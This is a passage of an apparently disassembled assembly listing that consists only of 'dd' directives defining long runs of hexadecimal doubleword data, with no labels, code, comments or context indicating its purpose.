		dd 59CD10C5h, 0DF600ABh, 0AED6BAA4h, 3A008A90h,	0B33565BEh
		dd 1323C29h, 0FAFB1088h, 0E09DA999h, 0C3482CB4h, 580096BCh
		dd 0A8FAEA42h, 0F79A0051h, 2946031Ah, 0C7000513h, 1C4424B2h
		dd 2FA232h, 0A9938996h,	0C3F611B1h, 1B785602h, 4166BDDCh
		dd 18100988h, 23EBF62h,	12A801E0h, 0B8C0B98Ch, 2F5B026Ah
		dd 0DC871D07h, 0EC98D99Dh, 0E360C573h, 2E968299h, 0C2EAFFh
		dd 8EB74E14h, 0CEEC926Bh, 35416507h, 2C64166Dh,	1B4CCh
		dd 0BEDE9761h, 0B6498E89h, 2091CC00h, 22FECE0Ch, 427E00EAh
		dd 0E660A16Bh, 0BC24123Ah, 0A76F3440h, 6CD0135Fh, 24A4E43Dh
		dd 6B447F6h, 0B01C4F10h, 0E2939E2Eh, 34EFF405h,	0FDD58003h
		dd 0F306E95Bh, 0A3B030h, 0CF4F24EDh, 0EEFB01Ch,	0CB351913h
		dd 42085043h, 6E6DA94Bh, 92A42C20h, 14BC3B58h, 88F3B980h
		dd 0B21C933h, 0EE888150h, 3CC75B88h, 0E900CBB8h, 0D385EC6Dh
		dd 380E6570h, 9DF8E7CFh, 0BA7E43C1h, 7F00A32Ch,	41072FDBh
		dd 0C8E40E14h, 0FD630581h, 0A855A1CCh, 56D5D4h,	3F6A7AB7h
		dd 7651D906h, 88B5FE2Ah, 170F9B01h, 1F3A7049h, 0FF1B88FFh
		dd 86713A2Dh, 0A279A580h, 54FDB46Bh, 0A1FE3218h, 4C278F39h
		dd 6A000F5Eh, 0ACB12A85h, 0BE07A3C8h, 9FDFA03Bh, 7BF33230h
		dd 0A092CAh, 40199253h,	0E234B77Ch, 86571018h, 24289CC9h
		dd 160F243h, 369F1DD6h,	75388ECDh, 5A93A042h, 58DA69D9h
		dd 756C02h, 0B99B5823h,	0A9A7D0C8h, 0B8502700h,	1E8F7534h
		dd 0D78C0743h, 407ECC12h, 4FC8EE69h, 597438C1h,	87CBA238h
		dd 0C1E0F89h, 14CD49A8h, 0FCCF1F0Eh, 0D1A58D02h, 18937579h
		dd 4E2E6DA0h, 0B30CDE0Ch, 0F8EC11Eh, 56574C4Fh,	5AE101C0h
		dd 0A8005F6Ah, 5542F93h, 1238373Ch, 299060h, 0A662A018h
		dd 2C007E9Ch, 882F81E3h, 16A7CE50h, 0C13FBA1h, 22B87300h
		dd 1475FAF2h, 3C95BD05h, 9C08E9ABh, 0A286BE21h,	11870C90h
		dd 24AC8B0Fh, 89E4025Fh, 0D06C1Bh, 9DBE33E5h, 77E9B4F7h
		dd 0B9930700h, 917B3717h, 41DB1640h, 2066168Bh,	0E55CF2ACh
		dd 6F9A750Bh, 0EAE49909h, 0E5A50C10h, 7881D226h, 3AC80106h
		dd 0FFC0089h, 6936B546h, 0D4032E7Ch, 0C637271h,	43C38C55h
		dd 5090947Bh, 0D4653h, 4FAE3D4h, 96976EB2h, 19564E00h
		dd 38FF4BE5h, 995A0724h, 0D6A16451h, 327DA11Fh,	6CA01E90h
		dd 80FF72E0h, 0F1715E18h, 308D2C60h, 0B490B2CBh, 490AD69Ch
		dd 88CE2638h, 0D2858F81h, 0D83354A8h, 8000113Eh, 0CCC74348h
		dd 1500F6BCh, 8A9B538Ch, 170BD94Dh, 1E6D4B8Bh, 2B002120h
		dd 5AC1DD06h, 5DFA3A6Ch, 77AC3E85h, 67508092h, 261D29C7h
		dd 7B0CA7A0h, 2039D0h, 0D1C63E60h, 3848406Bh, 0D94BB000h
		dd 0B376F280h, 30C8644Ch, 0C96F40FEh, 0B572CCh,	5954B5Ch
		dd 903F9E5Dh, 17222A03h, 0D8105038h, 7CB5275h, 65BE036h
		dd 8416C7Ch, 91094C17h,	5AAEA400h, 8FD813h, 0C8B39745h
		dd 3FC4387Ah, 18A7FB00h, 7CF8DFEDh, 9735Ch, 0F716D0AFh
		dd 0C65E71Fh, 9048600Eh, 0E122200Eh, 1B7447h, 0C6818E5Dh
		dd 0C77C3F68h, 1FB85A0Eh, 12834027h, 14D222h, 0BFEC16A3h
		dd 94A74532h, 7D0B18C0h, 1D63F34Fh, 81F99EB3h, 0D28C1C69h
		dd 0D024E1AEh, 6C1D1293h, 6803286Dh, 1D9542h, 3FD3D550h
		dd 524A2F11h, 1A67DB03h, 8847156Ch, 2D7712h, 0D8295D0Fh
		dd 89316820h, 0F67389C0h, 62D1CFAh, 13D65665h, 5C300855h
		dd 2ED12020h, 30690FFBh, 0C680415Fh, 38F2B4DDh,	83119200h
		dd 0A98BB705h, 21CB30FEh, 0AB3532A0h, 2F7A2D01h, 6CD32C62h
		dd 795C0EE0h, 0EF930137h, 94ADE840h, 0A2D1803Bh, 0E2A61ACBh
		dd 99AF602Ah, 86215B7h,	552FD0Eh, 7D1B004Eh, 11555Fh, 19CA6C76h
		dd 0BC3F6D94h, 0B7AE6407h, 1440A112h, 0F0ED4942h, 462102CCh
		dd 246B3067h, 0F09F0341h, 0E500127Eh, 411C370Ah, 0FE1FFE8h
		dd 1A5D6BD6h, 880FD4Bh,	200F12BAh, 8E7E20C0h, 29C3623Fh
		dd 6220A018h, 26306CA3h, 0C9B7601Fh, 7E5F8B3Dh,	88A6A800h
		dd 7C335225h, 2185602Ah, 0C7C092D9h, 13918D00h,	64B53987h
		dd 734C0134h, 0C89A1BCCh, 0C5945023h, 0C6009B3Bh, 9555F62Ah
		dd 1E090690h, 9CABFC3Dh, 0AFC6AE2h, 4BDD0AA9h, 0A6A500B4h
		dd 0A7C21CE7h, 7F73FF0Eh, 6D86FAFh, 95935C8h, 36537542h
		dd 0CC606F80h, 7174ADACh, 7B214960h, 8B4067h, 3416FD4Eh
		dd 0F6F1E6Ch, 85188E7Eh, 7029829Eh, 2CC152D8h, 0F1531C01h
		dd 0B697DE4h, 53627800h, 0E037559h, 3214A9F0h, 4AC24DCh
		dd 2A7F20CCh, 3C33548Ch, 4DA379FBh, 0F61FB421h,	0D335FB41h
		dd 61808EC1h, 0F2AD7D14h, 46375E5Bh, 5CC0281Eh,	39B7B13h
		dd 0D6721612h, 0E2991B99h, 40808A39h, 0FF009C70h, 6857BF49h
		dd 984BF31Ah, 6DC040C8h, 644D9DDh, 11A9E226h, 2139810Ch
		dd 0B87EB013h, 1D941D25h, 85C53FD9h, 138A98Ch, 8BF51654h
		dd 0AC28817Fh, 0EDFA307Dh, 9BB23980h, 0A62382DEh, 0B362B0Ch
		dd 0C55C08F6h, 0C0C45421h, 0F3DB963Bh, 416C9700h, 0A5E61611h
		dd 0D370765h, 0F559E22Fh, 23702F67h, 45070325h,	70007DA6h
		dd 0C7CA3947h, 0A06D42h, 5737661Eh, 5F5D4A65h, 23168970h
		dd 0B0007236h, 0B85B0C38h, 1B220C48h, 0F2F11F54h, 9B2D9400h
		dd 92CDCEA8h, 0CC763A9Fh, 5F211B30h, 0CF0E2C5Dh, 0A9A91FBFh
		dd 9E38AAE9h, 0DEC69930h, 0A36B0059h, 72F01F73h, 0DDF8B1A2h
		dd 1015C0A1h, 5275F76Ch, 4022CCA5h, 0C06190C8h,	0A8B52D96h
		dd 0EA309E46h, 2D7F5979h, 7253C401h, 0ACE3C3B8h, 1D1EC4Ch
		dd 11CBAD3Ah, 40311034h, 0B964D6B8h, 0BF6BCC3Bh, 9C3A2479h
		dd 1A60C364h, 0E5512B53h, 0C00BBCh, 0F8536962h,	1F27D929h
		dd 5DE2F722h, 606F5446h, 9F2D9880h, 0CC436EA8h,	0B211C30h
		dd 7B012D81h, 3F178EF5h, 0CC47A7C3h, 351A9D1h, 0E0BAEC30h
		dd 0BD3046Dh, 0D0E59599h, 54E932ACh, 3B7870B8h,	6D4CE21Ch
		dd 0FAA51F40h, 60E19487h, 2F174189h, 58C0C16Ah,	4B6DE705h
		dd 0E036F815h, 0AEEC24D9h, 0BD3F8020h, 0CA3AFE76h, 271B2901h
		dd 704517C5h, 9BD220E0h, 0FAF80104h, 18552D1Ah,	0D300EB65h
		dd 6E76FB30h, 25015100h, 19942349h, 5E0202A7h, 72D92B1Bh
		dd 3FE47845h
		dd 16FCCA60h, 90D09400h, 1599D778h, 93FB166Ch, 10447BEBh
		dd 8B821EF3h, 0A11F6785h, 71AE1620h, 8B83DB44h,	0A988EFF0h
		dd 0A2780E30h, 0E051D815h, 40C75648h, 1904C920h, 0EB398F37h
		dd 30DE80C8h, 0E25066C4h, 89004A2Ch, 12CC82A6h,	28C251DFh
		dd 0E0AA28h, 20CBB28Ch,	47A59270h, 70D22934h, 0C84FF8C2h
		dd 924E4B94h, 118C073Ch, 501BA9CAh, 0BCB3CD78h,	140B1702h
		dd 62965BDCh, 8D144084h, 0B7A10708h, 8223DD11h,	0A4E1B1B6h
		dd 7FFAE493h, 62008CB8h, 917060CAh, 30BC12A8h, 0AB408DBEh
		dd 71DF1354h, 309F0429h, 0A6B3FD40h, 132B9078h,	1F27D44Ah
		dd 0AA5303F4h, 0E4C211A7h, 0C0256040h, 0A15F076h, 3B8C9AE8h
		dd 30383479h, 92F3B4C0h, 7ED20283h, 521C98AFh, 4725C940h
		dd 7CBFAD24h, 5028A515h, 0BC653114h, 0C00C1218h, 132C99ADh
		dd 4194451Bh, 0E1B40A20h, 68604C34h, 33262419h,	3F02B6A8h
		dd 2C471721h, 0B9071A0h, 22642F36h, 80404000h, 73623725h
		dd 4238E021h, 0D97C10A9h, 0E708A92Ch, 0E1723C42h, 0F1A821E4h
		dd 0A4E59838h, 9F0D2410h, 99120070h, 9D11A1D2h,	4148E550h
		dd 0A13038Dh, 481E6AD1h, 7CD8A651h, 7148A9C9h, 26EC3E5Eh
		dd 94FA8303h, 81002AA3h, 1F725813h, 0CFE741E1h,	44A07830h
		dd 24D92542h, 50073B28h, 1D7B9118h, 5C6D1E39h, 2F0A386Bh
		dd 40CC18DFh, 5837ED3Fh, 4F9D11C0h, 2E1F2CD6h, 116C19B6h
		dd 0EC600127h, 0D9FE4BADh, 57527600h, 1021BB30h, 0F6A93B55h
		dd 0DD3288D2h, 0C9852B0Bh, 15540038h, 0A207E80Ch, 0D0DC0234h
		dd 222503E6h, 53A0E4C3h, 866CF9A0h, 6A027819h, 400058E2h
		dd 72A6ECDFh, 406C44Bh,	0E9164C7h, 2BB02AEDh, 20059969h
		dd 6B868213h, 1D118481h, 2529D08Fh, 0FFD0CBE9h,	131695ACh
		dd 8004ED94h, 9F0A21F8h, 688CF840h, 6834C434h, 0FAB4032h
		dd 0C9191303h, 6C621901h, 0D21ECCAAh, 0AE154806h, 2AAC549Eh
		dd 0B8CA54ADh, 1025BCB2h, 4C7A3174h, 253F50D5h,	3C7240E0h
		dd 0E8049A9Eh, 7311946Dh, 10801C94h, 0EFAF315Eh, 41E70101h
		dd 829320Ch, 10E642D4h,	0C7171D3Eh, 1AB44124h, 5B20D311h
		dd 383D9204h, 7C0A0408h, 0DBF61F92h, 5B1D0191h,	101CEFAFh
		dd 6D2A3324h, 140850A1h, 76904B1Ch, 6D0FC15Eh, 3E2095D8h
		dd 0CD10F75h, 0E63660D5h, 0CEAE9435h, 289483D1h, 0DC621845h
		dd 199A6065h, 0A0922804h, 1C83D819h, 10CF89EEh,	0D15075AAh
		dd 28604210h, 48E08A2h,	0D59A920Fh, 40218A3Eh, 8C9761Ah
		dd 22C01C04h, 0CA18E752h, 940CA009h, 0DB141423h, 816448A2h
		dd 508A7799h, 0E02C2158h, 965200C6h, 723BD7BFh,	0ECA65844h
		dd 1FD93720h, 3EBDB8EFh, 5CFC08E8h, 86F50485h, 10807D45h
		dd 0B4546F29h, 42AD6301h, 1C303713h, 0BDA029Eh,	8BB7DCE4h
		dd 0FF882220h, 4D6C0952h, 0E4904B84h, 79331F4Fh, 1AB83838h
		dd 592C4C69h, 839C1041h, 4A016249h, 0C8C7BD2Fh,	70C178F5h
		dd 9C24A7FAh, 0E3760B6Dh, 0ACA9D930h, 0D0DC2804h, 8F3B3FF0h
		dd 29694360h, 0B033E74Ah, 2D990044h, 1BEEA6A7h,	710EA0C5h
		dd 8E9294DFh, 0E850607Ah, 3913C2B2h, 105D52B6h,	75078322h
		dd 78941E0Ch, 76D03941h, 228B34E0h, 48CC144Ch, 0E8DE51D9h
		dd 0D5D1008Ch, 617C2DB8h, 8E02022Bh, 26E90725h,	0F5BDE018h
		dd 21B6030Ch, 50B0ED1Ah, 0F447A9F9h, 4992A7Ch, 8945A01Ch
		dd 0EC91D993h, 1D10C40Fh, 0C9163AF3h, 24109920h, 0FAC40144h
		dd 27268752h, 489F79E9h, 8E56CCD9h, 0C18B6528h,	0F2FCA36Ch
		dd 0B9C1C321h, 11B894D0h, 38C0956Ah, 3B81FB52h,	16F71628h
		dd 0E1486638h, 708926Bh, 0D4E5C8C0h, 7AAA2C90h,	5F4C3A1Fh
		dd 0B05DCB0Eh, 5A04B25h, 0A07C5210h, 50A1A2C8h,	79A8403Ah
		dd 0ACA1200Ch, 0A6F8243Fh, 2B079972h, 0FE336E7h, 10A01923h
		dd 2BD24350h, 10B0A827h, 7872B07Ah, 0AD141C0Ah,	9380ECCCh
		dd 2144904Ch, 43147ADCh, 0A7B87BC2h, 11B63192h,	0C8710BCh
		dd 991F3A9Fh, 0D936A00h, 3552378Bh, 19331200h, 0DE8745E8h
		dd 9F0A038Ch, 0C2569255h, 0A22A790Ah, 260AA48Eh, 0E107F42Dh
		dd 0E0CED436h, 0EAA70A93h, 2BF83F0Fh, 34522486h, 417FC81Ah
		dd 0ADD62000h, 51D0D16Eh, 6D8E1EC8h, 3E50E44Bh,	0E2EC80FFh
		dd 7840B55Dh, 4BAF6309h, 0A298A105h, 30882052h,	1385311Fh
		dd 8D22302h, 3D82836h, 4AA220ADh, 4A811EA1h, 0DA47128Ch
		dd 35D14401h, 0B404C0B0h, 45356378h, 1C1D81C2h,	5977E837h
		dd 0B6303889h, 107F4187h, 8E433888h, 1344CA9h, 60525E4Bh
		dd 4498587Dh, 7C01AE73h, 5A2CA067h, 28E00C8Eh, 0ACF601A2h
		dd 0AD9F3592h, 706D4Bh,	0C4AB621Ah, 9156A0CEh, 29209978h
		dd 0ABC40941h, 84F8B4C7h, 81B47BA2h, 517EED88h,	0E7D03B58h
		dd 974690A6h, 5236A405h, 3CF0009Ah, 13EF253Fh, 0AC601AE2h
		dd 54815C80h, 4FB0CF9Ah, 0E363A560h, 0B8920D10h, 2C502503h
		dd 0BB889E34h, 7C8211h,	2792956Dh, 71C160F2h, 0A85CDE85h
		dd 0E023B6FDh, 0E5CC837Ah, 5C88A4ECh, 1388430Fh, 0A8A3490h
		dd 9880F1F7h, 7C99A167h, 0BB048C38h, 0FA9DB6F9h, 599E3881h
		dd 51DA8450h, 90DAF1B1h, 0F8AD088Ch, 49D91999h,	30A881EEh
		dd 0CC15B804h, 1E989F44h, 8B0FF70Ch, 370B06D6h,	57D0F910h
		dd 0D4B5A7Fh, 4641B700h, 600C18C8h, 10AA5213h, 0DD7E00D4h
		dd 1B5E0BCFh, 2EC4B51Ah, 0FCD04011h, 0A59F79h, 0DE6D75F8h
		dd 36FE0AA3h, 34A2B80h,	0CCB7EA09h, 1E2D22A8h, 816C8443h
		dd 67FB6D60h, 548C3DF2h, 3F8B466h, 0BB2BFB64h, 51FFB5ABh
		dd 80F14D92h, 298F3A58h, 0CE84107h, 0D6E94C75h,	0C02C0D18h
		dd 6781787Dh, 7EE840F0h, 0D9A1C410h, 1BAA2E03h,	887C798Ch
		dd 2D82B2CFh, 0E0976FCCh, 0C1815411h, 0FC7BFF1Dh, 2F002E08h
		dd 0B7AF3B0Eh, 0B09A11A7h, 0D98C063Ah, 183AE6E5h, 542E485Ah
		dd 0C121F610h, 829E286Bh, 0D167D4h, 13331B0Fh, 4599D5F4h
		dd 3905EE7Bh, 5F72FBDh,	0F03720E4h, 10026073h, 0C6EDD929h
		dd 0CE9834CFh, 0CF39E0C3h, 7DE33B9Ch, 0BD3E00C4h, 0DACDE2F7h
		dd 2500DFD4h, 0F2EB2BF3h, 0C9C7CB3h, 5BEEEC1Eh,	8300FC7Eh
		dd 41F042A3h, 0CDACA20h, 0D5A055E0h, 0F400A838h, 58EEA987h
		dd 1DBC4F89h, 50515Fh, 0A824E108h, 0AA037E1Fh, 0FDA0D7B4h
		dd 88F8AB31h, 1192DDh, 0C620E95Fh, 53E36581h, 0FC3D94EEh
		dd 0DEAE8005h, 0D4A86C7Fh, 0AAE4005Fh, 0DB198C01h, 58D8E32Bh
		dd 30C6F6B8h, 0D9983DEBh, 510084B3h, 0A842E32Ch, 60B83971h
		dd 7D0528A7h, 0A303AC9Eh, 0A60EF527h, 130830FCh, 9E453049h
		dd 0A1853C00h, 64EC7616h, 6FFE0099h, 9A181DDBh,	543BC783h
		dd 92D985E9h, 9C40BC16h, 67CC3248h, 456D0643h, 8152AE3h
		dd 0E221B96Eh, 4085CC6Ah, 1899C47Ah, 4953E10Bh,	4B339A0Ah
		dd 0F058109Bh, 94B9E8h,	7196C1A7h, 31BA424Ch, 1C43DF03h
		dd 0C038D14Dh, 0DC68BFh, 0F416A93Fh, 0B3CB55AAh, 4C596000h
		dd 62A30358h, 7ECF0097h, 8BF14B8Eh, 0F4005DB7h,	7A9E6AAEh
		dd 121363h, 3A592015h, 2180980Eh, 2D01E2E4h, 1CC2D15Eh
		dd 0A130F193h, 6DA006Bh, 96FAFB43h, 5A00BFA4h, 0C33036A0h
		dd 1A4163C2h, 104D6DB6h, 3A0A0418h, 316C3Eh, 85BA93E5h
		dd 7B2D510Bh, 7E7928h, 0F31523BCh, 0E7A25D0Ah, 0BBEB290Ch
		dd 840929BEh, 10929E22h, 11E98A79h, 0B511D26Fh,	28E7111Ah
		dd 51A3617Dh, 384F71Fh
		dd 0EA2907F1h, 70CE2FE8h, 0EDD5C2C0h, 2DEE3Bh, 43CCBA20h
		dd 2C3DC8h, 24AD92AAh, 0A35CD65Bh, 8E600760h, 339DB3h
		dd 0E24045DBh, 1E37ACC5h, 0C00A0503h, 0B0E31859h, 0AAFCD2h
		dd 2B0904FAh, 6310501Dh, 4C5A2F1Dh, 0D61B55C0h,	0D9B706h
		dd 40FB9087h, 0A8233ECBh, 25584500h, 275FB309h,	975A0019h
		dd 0C7D3485Eh, 0D000A522h, 42C4EA34h, 1F1AF3F1h, 803FBD70h
		dd 244E6E0Ah, 870048D8h, 51C060AFh, 1C971Bh, 0D3F53BB1h
		dd 1338AE54h, 0E70B8D00h, 1D537CC4h, 0D5370569h, 2FCAF8h
		dd 0DEB3D1DCh, 89EE467Ah, 9EA5053Bh, 0F00711E9h, 0C1C02386h
		dd 7AE253Eh, 0A0A46696h, 872A40C5h, 34124F10h, 321CEF44h
		dd 455C840h, 0FC49FDF0h, 0B5ECFE0Bh, 3682B6E0h,	0CA3A98A0h
		dd 9A27BD03h, 0A08E80F5h, 0C070E28h, 8C6D02B9h,	0B100FD10h
		dd 0F868EDDFh, 49C0FC5Eh, 7E0030D5h, 0C88D2C23h, 3500ED7Fh
		dd 7AAE7B0Fh, 0EBB23Ah,	0EC238774h, 7D6B3F8Eh, 0DDA29F0Ah
		dd 9194ACBDh, 824E00E4h, 0F30E825h, 164D0029h, 6EF85D56h
		dd 0FF053A1Eh, 899CB3FDh, 5055EC00h, 14099A2Ah,	0C4A561EBh
		dd 5B7D2300h, 543B65FDh, 0B89958CAh, 201B740Fh,	1BAE434h
		dd 0CE890029h, 41CD2B3Dh, 8A3CF912h, 0B26680FCh, 0B4AF2D2Ch
		dd 14391C54h, 0DE9A00D0h, 0A68A600Fh, 45367701h, 627332DBh
		dd 5BB4CD40h, 7C24F4CDh, 8FEAEh, 73B67470h, 6DC41621h
		dd 126A1305h, 0ABC086EEh, 0F9745683h, 3BCC8F8h,	6E149589h
		dd 0CB90F9BEh, 3439B036h, 0AF75034Bh, 0B2E205h,	0FBA95F11h
		dd 6BD7DBC0h, 3A7703Ah,	0F18AF7ACh, 779898BDh, 0A0F00E0h
		dd 0F3A08D30h, 6900F4E7h, 47CDA4ECh, 0B1EFFh, 6FA89C74h
		dd 0A55B6124h, 0A3FBEF00h, 0A4BCE6B0h, 8B3B0073h, 0C1D14856h
		dd 230171A6h, 99EA43FDh, 0A3308628h, 0D8F202AAh, 8DE7FC5Fh
		dd 14AFCA0h, 0B40F5990h, 47264B4Ch, 0DEA03563h,	1576FF83h
		dd 0C823F2B6h, 500C0E0Fh, 0D7941B20h, 0B704E734h, 0D1DD966h
		dd 213FDD40h, 9F07CE1Bh, 544003FCh, 75B00670h, 0E01F0FCDh
		dd 1600196Fh, 2EDDBDCCh, 30F28400h, 45FA55B4h, 7DE60048h
		dd 79855F88h, 0FB004D71h, 4F3E205Dh, 7A51309h, 301E0BFAh
		dd 939D4025h, 1C0064A1h, 947E66DAh, 0AC5A6Bh, 9603C8EEh
		dd 0D684837Ch, 0DAFEEA07h, 4511BB54h, 9820BAB0h, 47AA00C9h
		dd 10D86B41h, 4A3D6E08h, 7F2880F5h, 118B071h, 2A370AF4h
		dd 3F8ECAFh, 361C25C8h,	6DFB7AF8h, 76DA4A00h, 2C1401FEh
		dd 5421002Eh, 242AA573h, 0EA00C115h, 57173364h,	30A4D70h
		dd 49CEF512h, 8B8932Eh,	8F006F86h, 0AAFFC55Ah, 90EE5B66h
		dd 5EC700FDh, 8A0E88BBh, 0B10020ADh, 0A886E583h, 196BE2h
		dd 9BDE2EB8h, 2276D7ACh, 0BC581D00h, 0DDFF9637h, 0B8BAE511h
		dd 6197C780h, 0B8BBE8D3h, 0C6479E00h, 5DEC9483h, 0B67D18C8h
		dd 5B1C519Ch, 69CF3700h, 41DE6F97h, 92B00C53h, 0C207457h
		dd 635B5D1Ch, 3B2CD5C0h, 145F1F4Ch, 0DE28AB5Ch,	39383A00h
		dd 0CA148849h, 1AC08000h, 4C4AB00Ch, 0B5D30137h, 44A83EF8h
		dd 78DAF448h, 5B1C46F4h, 0D680F4A2h, 108085FBh,	0C262006Dh
		dd 0CA21425Ch, 0EA006C55h, 597D7908h, 2B75E0h, 696A9772h
		dd 0C6399C8h, 0C2195600h, 36C62CA1h, 0D1E81648h, 25A800F1h
		dd 132A8189h, 2EAD0400h, 751E4DC1h, 9892003Eh, 0A4F45AA8h
		dd 3013F7D3h, 9000CC3Ch, 0BA954B1Ah, 1B1400ACh,	0CC01162h
		dd 98796705h, 13068301h, 7C5B17CAh, 1B4DA8CFh, 8E840A65h
		dd 0E842EEh, 0A38845B4h, 5B000CB6h, 8A5C6C25h, 4C2E879h
		dd 0B4CDD4D1h, 648081B7h, 8983C858h, 803C683Fh,	3D100C7Bh
		dd 3CE997A9h, 34A6D0CAh, 0DF1A017Ch, 80946C95h,	55933A18h
		dd 836902h, 0D4F6DC74h,	47F8A3EAh, 63CCB00h, 0B5B4B26Ah
		dd 6D36073Eh, 0E0A54632h, 9D084976h, 0E33F9100h, 56D09B12h
		dd 369F0915h, 881F572h,	603AEC3Bh, 9B1322A0h, 0D4005E2Bh
		dd 0A1234FB1h, 8AFC481Dh, 44ED0602h, 9CC09889h,	0A80037E4h
		dd 2CDA79FDh, 1376EF33h, 4D35491h, 0C0A5CE21h, 0F340B478h
		dd 0A4F149h, 0EF7A27ABh, 0ACDE4Ch, 69174381h, 478F7B03h
		dd 630EE61Dh, 5771C080h, 17A7B8E7h, 73299Dh, 0E4C70C84h
		dd 0B5008539h, 0D45C5DD1h, 7088FEBAh, 3E0A7568h, 0E0806034h
		dd 0AD790DBBh, 0C424A286h, 9900973Dh, 0F69EA481h, 0FEF2005Eh
		dd 0F398C7FFh, 6F00A9EFh, 0E5B02A16h, 1DC6262Fh, 689B9AE4h
		dd 0B38700FBh, 4F98541Bh, 314E679Ch, 0C80FAA16h, 4B41806Dh
		dd 9A2F8Dh, 0E7BD3C44h,	59DA05B4h, 0D876B61Ch, 75C1B580h
		dd 0E6AFE02Dh, 0ED19001Bh, 72F96714h, 3300B84Ch, 58FB8734h
		dd 2511A7h, 2BF76FBEh, 83E97164h, 8F571600h, 3F6EB0B8h
		dd 129C002Ah, 0DAF61CA4h, 0EC9872EFh, 69262500h, 1B479A13h
		dd 4A45002Bh, 0E53118E2h, 0DE130FB4h, 0AC007B77h, 59EFF530h
		dd 3F74B0DDh, 0C00B528h, 46C6B84h, 0FD90EC7Ah, 2E95E300h
		dd 0ED822DA9h, 2B6100FAh, 6A6F79E0h, 5C941D4Fh,	99A74000h
		dd 737473Fh, 0B5420371h, 44CD30BFh, 541D096Bh, 0FF56A5ABh
		dd 60199500h, 14CEE175h, 8D39B4Dh, 2DE78403h, 0F98EDF7h
		dd 280AA670h, 0F86E626Bh, 1DA1740h, 0AFBB0FB1h,	0E7A75CA2h
		dd 9040A93Ch, 9508742h,	8C7532E0h, 1C540402h, 80B2516Eh
		dd 0EB2C3820h, 4008E2A5h, 0BA44465Ah, 98ED0180h, 0BE228789h
		dd 0DBBE20A8h, 6E191A03h, 0B0C540D5h, 982B6BFh,	783C13A1h
		dd 60162041h, 93009646h, 1B98AD38h, 160E751Ch, 476CE1A8h
		dd 30F9EA2Ch, 955AA4CEh, 0EE131F03h, 0E8385D67h, 3DCAA745h
		dd 9D80C32Ah, 7E70298Bh, 1539463Fh, 4FE48010h, 78C3F9C9h
		dd 280260CEh, 6E747C68h, 1074D7Dh, 54CCFA27h, 55AE7FD1h
		dd 26A6AFF4h, 1E8CDAAh,	0E789550h, 3AABCCCCh, 0F200BF7Eh
		dd 0EF1ECB64h, 1D2A305Ch, 0C0DFE04Dh, 0AD0374CEh, 3F50E9AAh
		dd 44000CC0h, 933EB71Fh, 0E8F2F5h, 75956294h, 0D6C15056h
		dd 3865EC00h, 0F89F7D98h, 7EB20035h, 10EB4B67h,	753B2431h
		dd 56B00358h, 0C84C7B80h, 0FDF540h, 7207E8C5h, 14B86F5Bh
		dd 1B87A200h, 0CC9B77A7h, 19E23D4Eh, 0E7F92Eh, 0F32F1286h
		dd 47006D4Ah, 95533CC4h, 3B4C7128h, 400857Ch, 0AED7A69Bh
		dd 72245DAFh, 0E300ED17h, 0EF6BB6A8h, 7E4EB82Ah, 0DE1E00E4h
		dd 0E2931F0Dh, 6E00DA90h, 0ED2363ACh, 0D6A19Eh,	0F6838E8Fh
		dd 0D522307Dh, 915E1F01h, 9E071971h, 1293DC20h,	315E19Ah
		dd 33C76C73h, 0A33AF9E0h, 706E03Ah, 64EF4472h, 1E894170h
		dd 5ABE00B2h, 52CD6207h, 7900821Bh, 28DC615Bh, 189F8E3h
		dd 9B2F6BB4h, 0E97E131Ch, 0EA2880B6h, 0A2F6C821h, 265C076Eh
		dd 87A0795Fh, 75C0EE44h, 87DB3AEFh, 0D3721913h,	343F40Eh
		dd 0C1D238E3h, 7470182Bh, 0BE020027h, 0FE10C478h, 173E191Ch
		dd 0EA6B0076h, 3E4E25DBh, 0B9E505B7h, 805EED98h, 2450B6D0h
		dd 0FC7B9600h, 0E310F07Fh, 14E0084h, 15773DEBh,	860AC925h
		dd 0BC6C0398h, 24702Fh,	9153B1E1h, 0BB605E6Eh, 78F7100h
		dd 0F5AADC55h, 95CC127Eh, 6FB840BEh, 803BE2C7h,	0B1590C00h
		dd 3CA5058Fh, 0A6AE0065h, 436473CEh, 0BC0C6AEFh, 68900B2Bh
		dd 343C098Bh, 645EBBC5h, 4F5CAB00h, 580B9Bh, 3CFD3ADAh
		dd 633F47C7h, 8DAA051Eh, 0CDF43830h, 0B868180Ch, 3082108Eh
		dd 0BD4A520Ch, 205798F8h
		dd 0D52772FCh, 0C124017Ch, 0ABC4514Eh, 50A100F4h, 115DE008h
		dd 3F002BD9h, 727880AFh, 544BD81h, 0A74A6DFFh, 17AB8C9h
		dd 5351F49Fh, 20212Bh, 0C07A01E9h, 0DAEA5E3Eh, 0ED07F434h
		dd 0D8000898h, 44B3AEFAh, 299FA5h, 4671D122h, 0F41EF725h
		dd 4E0181F0h, 2A423AF0h, 0A860F50Dh, 3B620071h,	0B91E8CBFh
		dd 0AF092F72h, 81DB5569h, 6797FFE8h, 19081C4h, 6202F9BEh
		dd 0F8BB5D61h, 0C4E0EBECh, 9A832326h, 0BC5C4100h, 0C49A8CAh
		dd 5BF055DCh, 350FB311h, 666D4454h, 97838C2h, 0ECB78A08h
		dd 59095C6Ch, 71505Fh, 75C2F3E8h, 9F3F00F0h, 0CF911D2Dh
		dd 0D4127C4Fh, 0A00033D6h, 685AB34Eh, 245F4E1h,	700A0ECCh
		dd 2870116Bh, 0D3C0F11Dh, 0F5956E80h, 2587B91h,	42E41225h
		dd 0BC689985h, 5600D7E2h, 0F13E7EADh, 0C7DFC6h,	7C8EB9C8h
		dd 370CFDD9h, 0AA359500h, 0D2F4A4F7h, 26F845h, 0F6D7A9ACh
		dd 5DC249E8h, 0A87A3Ch,	6A545205h, 7CE1B76h, 979A383Eh
		dd 0B8DE40F5h, 0D5132D68h, 0C8C1DBD9h, 0D8F09F6Eh, 7B6A004Fh
		dd 23038869h, 0F000A4F4h, 0B7E6DD05h, 1211CC8Dh, 0B1DEBC0h
		dd 9020910Dh, 6DF6F75h,	9289B01h, 61D559C4h, 0BD868480h
		dd 71896468h, 7F925E02h, 0E83484CCh, 287C87Ch, 18D3790h
		dd 9C4062B4h, 300CC16h,	3999AFA6h, 0E0AE57h, 189109C0h
		dd 0EEA9B9DDh, 3BAB471Eh, 80886440h, 43018Ch, 0EAAD495Ah
		dd 0FD3620E7h, 4E5EA8A0h, 0DE191600h, 241E32D6h, 6576012Eh
		dd 0E0A5B386h, 0F00AF356h, 0DE7E897Ah, 20669800h, 17C19DDh
		dd 0F0FEEE82h, 2005E059h, 0E97A63DCh, 79D60A00h, 0CE4BFB49h
